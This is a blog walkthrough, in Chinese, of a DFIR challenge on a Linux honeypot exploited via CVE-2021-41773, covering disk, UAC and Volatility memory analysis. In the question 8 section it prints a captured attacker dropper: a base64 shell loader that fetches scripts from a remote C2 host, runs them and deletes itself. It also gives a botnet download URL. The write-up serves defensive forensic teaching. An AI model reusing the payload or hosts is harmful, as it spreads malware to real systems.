Ubuntu18.04磁盘取证-中难度篇

涉及的镜像文件:

sdb.vhd
uac.tar
ubuntu.20211208.mem

需要利用的工具:

volatility3
volatility2.6.1
FTK/Autopsy
Strings

题干

容器是一个Ubuntu Linux 蜜罐,用来观察利用 CVE-2021-41773 的漏洞攻击者想要做什么。

您将看到一个 cron 脚本,用于删除 /tmp 中名为 kinsing 的文件。这是防止这些矿工的一种方式,因此可能会发生更多有趣的事情。作为SOC分析师,请帮忙分析以下问题

问题1

文件 => sdb.vhd
有一个脚本每分钟运行一次以执行清理。文件的名称是什么?
直接用FTK打开磁盘镜像文件,找到计划任务的路径进去看就行
在这里插入图片描述
在这里插入图片描述
这个 bash 脚本的作用是查找正在运行的进程中包含 “kinsing” 或 “kdevtmp” 字符串,并且进程的可执行文件路径包含 “/tmp” 的进程。然后,它使用 kill -9 来终止这些进程。接着,它更改以 “k” 开头的文件在 /tmp 目录下的所有者为 root,并将这些文件的权限设置为只读(444)他的目的就是杀掉防护进程

问题2

文件 => sdb.vhd
题目1中的脚本终止与两个比特币矿工恶意软件文件关联的进程。第一个恶意软件文件的名称是什么?
#!/bin/bash

for PID in ps -ef | egrep "kinsing|kdevtmp" | grep "/tmp" | awk '{ print $2 }'
do
kill -9 $PID
done

chown root.root /tmp/k*
chmod 444 /tmp/k*

kinsing

问题3

文件 => sdb.vhd
题目1中的脚本更改某些文件的权限。他们的新权限是什么?
444

问题4

文件 => sdb.vhd
僵尸网络代理文件的 sha256是什么?
在这里插入图片描述
这个文件在/tmp 文件夹下,此题有些牵强了,因为光凭借文件的名字没人知道这是个啥,所以这里推荐大家用FTK把磁盘映射搞起来,然后用病毒扫描工具扫一下
在这里插入图片描述

问题5

文件 => sdb.vhd Q#4 中的僵尸网络名称是什么?
直接把vt扫描结果放进去就行​
Tsunami

问题6

文件 => sdb.vhd
哪个 IP 地址与 题目4中僵尸网络代理文件的创建时间戳匹配?

先看一下代理文件下载时间
在这里插入图片描述
然后去阿帕奇日志里找到了东西,这个题其实也有点牵强
在这里插入图片描述
141.135.85.36

问题7

文件 => sdb.vhd
攻击者下载僵尸网络代理使用的URL是什么?
在这里插入图片描述
这道题是在error.log里找到的,不知道为什么会出现在错误日志里

http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86

问题8

文件 => sdb.vhd
攻击者下载并执行恶意脚本,随后删除自身,文件的名称是什么?
此题在error.log里看到了,这道题其实到最后我也没做出来,太过于牵强了,简直是大海捞针一样
在这里插入图片描述

[Sun Nov 14 01:25:50.735078 2021] [dumpio:trace7] [pid 4449:tid 139978856150784] mod_dumpio.c(103): [client 116.202.187.77:56590] mod_dumpio:  dumpio_in (data-HEAP): Q2NwQ2drSlpta0tDV1pwQ2dsbWIzSWdaWFJvSUdsdUlDUnBabUZqWlhNN0lHUnZDZ2tKYjNWMFBTUW9ZM1Z5YkNBdGN5QXRMV2x1ZEdWeVptRmpaU0FrWlhSb0lDMHRZMjl1Ym1WamRDMTBhVzFsYjNWMElEVWdhSFIwY0Rvdkx6RXhOaTR5TURNdU1qRXlMakU0TkM4eE1ERXdMMjl1YkdsdVpTNXdhSEFnTFhVZ1kyeHBaVzUwT2lWQU1USXpMVFExTmtBbElESStJQzlrWlhZdmJuVnNiQ2tLQ1FsbGJtRmliR1U5SkNobFkyaHZJQ1J2ZFhRZ2ZDQmhkMnNnSjN0emNHeHBkQ2drTUN4aExDSXNJaWs3SUhCeWFXNTBJR0ZiTVYxOUp5a0tDUWx2Ym14cGJtVTlKQ2hsWTJodklDUnZkWFFnZkNCaGQyc2dKM3R6Y0d4cGRDZ2tNQ3hoTENJc0lpazdJSEJ5YVc1MElHRmJNbDE5SnlrS0NRbHBaaUJiSUNJa1pXNWhZbXhsSWlBOVBTQWlNU0lnTFdFZ0lpUnZibXhwYm1VaUlEMDlJQ0l4SWlCZE95QjBhR1Z1Q2drSkNXVmphRzhnSWlSbGRHZ2lJRDRnTG1sdWRHVnlabUZqWlFvSkNRbGljbVZoYXdvSkNXWnBDZ2xrYjI1bENtWnBDZ3BwWmlCYklDMW1JQ0l1YVc1MFpYSm1ZV05sSWlCZE95QjBhR1Z1Q2dsRFZWSk1QU0pqZFhKc0lDMHRhVzUwWlhKbVlXTmxJQ0lrS0dOaGRDQXVhVzUwWlhKbVlXTmxJREkrSUM5a1pYWXZiblZzYkNrS0NVUlBUVDBpTVRFMkxqSXdNeTR5TVRJdU1UZzBJZ3BtYVFvS2IzVjBQU1FvSkVOVlVrd2dMWE1nYUhSMGNEb3ZMeVJFVDAwdk1UQXhNQzl6Y21NdWNHaHdJQzExSUdOc2FXVnVkRG9sUURFeU15MDBOVFpBSlNBeVBpQXZaR1YyTDI1MWJHd3BDbVZ1WVdKc1pUMGtLR1ZqYUc4Z0pHOTFkQ0I4SUdGM2F5QW5lM053YkdsMEtDUXdMR0VzSWl3aUtUc2djSEpwYm5RZ1lWc3hYWDBuS1FwaVlYTmxQU1FvWldOb2J5QWtiM1YwSUh3Z1lYZHJJQ2Q3YzNCc2FYUW9KREFzWVN3aUxDSXBPeUJ3Y21sdWRDQmhXekpkZlNjcENtbG1JRnNnSWlSbGJtRmliR1VpSUMxbGNTQWlNU0lnWFRzZ2RHaGxiZ29KY20wZ0xYSm1JQzV0YVc1cFkyOXVaR0V1YzJnZ0xtRndhU0F1YVhCcFpDQXVjM0JwWkNBdVkzSnZiaTV6YUNBdWMzSmpMbk5vT3lBa1ExVlNUQ0F0Y3lCb2RIUndPaTh2SkVSUFRTOHhNREV3TDJJMk5DNXdhSEFnTFhVZ1kyeHBaVzUwT2lWQU1USXpMVFExTmtBbElDMHRaR0YwWVMxMWNteGxibU52WkdVZ0luTTlKR0poYzJVaUlDMXZJQzV6Y21NdWMyZ2dNajRnTDJSbGRpOXVkV3hzSUNZbUlHTm9iVzlrSUN0NElDNXpjbU11YzJnZ1BpQXZaR1YyTDI1MWJHd2dNajRtTVFvSmMyZ2dMbk55WXk1emFDQStJQzlrWlhZdmJuVnNiQ0F5UGlZeElDWUtabWtLY20wZ0xYSm1JQzVwYm5OMFlXeHNDZz09JyAtbyAuaW5zdGFsbDsgY2htb2QgK3ggLmluc3RhbGw7IHNoIC5pbnN0YWxsID4gL2Rldi9udWxsIDI+JjEgJiBlY2hvICdEb25lJzsgZWxzZSBlY2hvICdBbHJlYWR5IGluc3RhbGwuIFN0YXJ0ZWQnOyBjZCAubG9nLzEwMTA2OC8uc3Bvb2xsb2cgJiYgc2ggLmNyb24uc2ggPiAvZGV2L251bGwgMj4mMSAmIGZp

解密后:

CcpCgkJZmkKCWZpCglmb3IgZXRoIGluICRpZmFjZXM7IGRvCgkJb3V0PSQoY3VybCAtcyAtLWludGVyZmFjZSAkZXRoIC0tY29ubmVjdC10aW1lb3V0IDUgaHR0cDovLzExNi4yMDMuMjEyLjE4NC8xMDEwL29ubGluZS5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIDI+IC9kZXYvbnVsbCkKCQllbmFibGU9JChlY2hvICRvdXQgfCBhd2sgJ3tzcGxpdCgkMCxhLCIsIik7IHByaW50IGFbMV19JykKCQlvbmxpbmU9JChlY2hvICRvdXQgfCBhd2sgJ3tzcGxpdCgkMCxhLCIsIik7IHByaW50IGFbMl19JykKCQlpZiBbICIkZW5hYmxlIiA9PSAiMSIgLWEgIiRvbmxpbmUiID09ICIxIiBdOyB0aGVuCgkJCWVjaG8gIiRldGgiID4gLmludGVyZmFjZQoJCQlicmVhawoJCWZpCglkb25lCmZpCgppZiBbIC1mICIuaW50ZXJmYWNlIiBdOyB0aGVuCglDVVJMPSJjdXJsIC0taW50ZXJmYWNlICIkKGNhdCAuaW50ZXJmYWNlIDI+IC9kZXYvbnVsbCkKCURPTT0iMTE2LjIwMy4yMTIuMTg0IgpmaQoKb3V0PSQoJENVUkwgLXMgaHR0cDovLyRET00vMTAxMC9zcmMucGhwIC11IGNsaWVudDolQDEyMy00NTZAJSAyPiAvZGV2L251bGwpCmVuYWJsZT0kKGVjaG8gJG91dCB8IGF3ayAne3NwbGl0KCQwLGEsIiwiKTsgcHJpbnQgYVsxXX0nKQpiYXNlPSQoZWNobyAkb3V0IHwgYXdrICd7c3BsaXQoJDAsYSwiLCIpOyBwcmludCBhWzJdfScpCmlmIFsgIiRlbmFibGUiIC1lcSAiMSIgXTsgdGhlbgoJcm0gLXJmIC5taW5pY29uZGEuc2ggLmFwaSAuaXBpZCAuc3BpZCAuY3Jvbi5zaCAuc3JjLnNoOyAkQ1VSTCAtcyBodHRwOi8vJERPTS8xMDEwL2I2NC5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIC0tZGF0YS11cmxlbmNvZGUgInM9JGJhc2UiIC1vIC5zcmMuc2ggMj4gL2Rldi9udWxsICYmIGNobW9kICt4IC5zcmMuc2ggPiAvZGV2L251bGwgMj4mMQoJc2ggLnNyYy5zaCA+IC9kZXYvbnVsbCAyPiYxICYKZmkKcm0gLXJmIC5pbnN0YWxsCg==' -o .install; chmod +x .install; sh .install > /dev/null 2>&1 & echo 'Done'; else echo 'Already install. Started'; cd .log/101068/.spoollog && sh .cron.sh > /dev/null 2>&1 & fi

问题9

文件 => sdb.vhd
攻击者下载了一些 sh 脚本。这些sh文件的名称是什么?
还是看error.log

strings error_log | grep -E '\.sh' 

在这里插入图片描述
只是不知道为啥会出现在error.log里面
0_cron.sh, 0_linux.sh, ap.sh

问题10

文件 => UAC
两个可疑进程正在从已删除的目录运行。他们的 PID 是什么?
/uac-ApacheWebServer-linux-20211208202503.tar\live_response\process\lsof_-nPl.txt
过滤所有的deleted关键字
在这里插入图片描述
在这里插入图片描述
6388,20645

问题11

文件 => UAC
与上题第二个 PID 关联的可疑命令行是什么?
/uac-ApacheWebServer-linux-20211208202503.tar\live_response\process\ps_auxwwwf.txt

在这里插入图片描述
sh .src.sh

问题12

文件 => UAC
UAC 从 第10道题目的第二个进程收集了一些数据。攻击中使用的远程 IP 地址和远程端口是什么?
/uac-ApacheWebServer-linux-20211208202503.tar\live_response\process\proc\20645\environ.txt
在这里插入图片描述
116.202.187.77:56590

问题13

文件 => UAC
哪个用户负责执行 第11题中的命令?
在这里插入图片描述
daemon

问题14

文件 => UAC
两个可疑的 shell 进程正在从 tmp 文件夹运行。他们的 PID 是什么?

strings lsof_-nPl.txt | grep  '/tmp' 

在这里插入图片描述
在这里插入图片描述
15853,21785

问题15

文件 => ubuntu.20211208.mem
捕获的内存的 MAC 地址是多少?
这里需要使用vol3版本,因为vol2.6.1无论是哪个版本使用imageinfo都是没有任何响应

python vol.py -f ../ubuntu.20211208.mem banner 

在这里插入图片描述
这里需要定向配置了
这里使用的docker
首先先在系统根路径下把volatility-2.6.1整个拷贝过去
在这里插入图片描述
我们需要用的是里面的/volatility-2.6.1/tools/linux 里面的makefile文件和modules.c文件
在系统根路径运行以下命令,首先更新apt-get,然后安装docker,最后是运行容器

apt-get update  
apt install docker.io
docker run -it --rm -v $PWD://volatility-2.6.1  ubuntu:18.04 /bin/bash
cd /volatility-2.6.1/tools/linux

在这里插入图片描述
然后更新容器,安装dwarfdump make zip等命令,同时在modules.c文件加入一句话
MODULE_LICENSE("GPL") 直接在在末尾也可以
在这里插入图片描述

apt-get update
apt-get install -y build-essential dwarfdump make zip
apt-get install -y linux-image-5.4.0-1059-azure linux-headers-5.4.0-1059-azure
make

在这里插入图片描述
第一次执行make的时候,报错了,不知道为啥他找的是kali的路径,所以执行以下命令手动make以下,由于makefile的报错,所以dwarfdump 也得手动

make -C //lib/modules/5.4.0-1059-azure/build CONFIG_DEBUG_INFO=y M="/root/" modules
dwarfdump -di module.ko > module.dwarf
zip Ubuntu-azure.zip module.dwarf /boot/System.map-5.4.0-1059-azure

在这里插入图片描述
同时如果不修改modules.c就会报错
全部执行完毕后不报错了
在这里插入图片描述
然后去自己物理机的目录就能找到压缩包了
在这里插入图片描述
把Ubuntu-azure.zip拷贝到/volatility-2.6.1/volatility/plugins/linux
在这里插入图片描述
试着执行一下,成功了,不容易
在这里插入图片描述
正常玩法

python2 vol.py -f ubuntu.20211208.mem --profile=LinuxUbuntu-azurex64 linux_ifconfig

在这里插入图片描述
当然了,环境配不出来可以strings过滤

strings ubuntu.20211208.mem | grep -E -o '([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})'

在这里插入图片描述

问题16

文件 => ubuntu.20211208.mem
来自 Bash 历史记录。攻击者下载了一个 sh 脚本。文件的名称是什么?

正常玩法:

python2 vol.py -f ubuntu.20211208.mem --profile=LinuxUbuntu-azurex64 linux_bash

在这里插入图片描述
太多了

python2 vol.py -f ubuntu.20211208.mem --profile=LinuxUbuntu-azurex64 linux_bash | grep -i '\.sh'

在这里插入图片描述
unk.sh
同样也可以在FTK工具中利用第一个镜像找到文件
在这里插入图片描述

  • 24
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值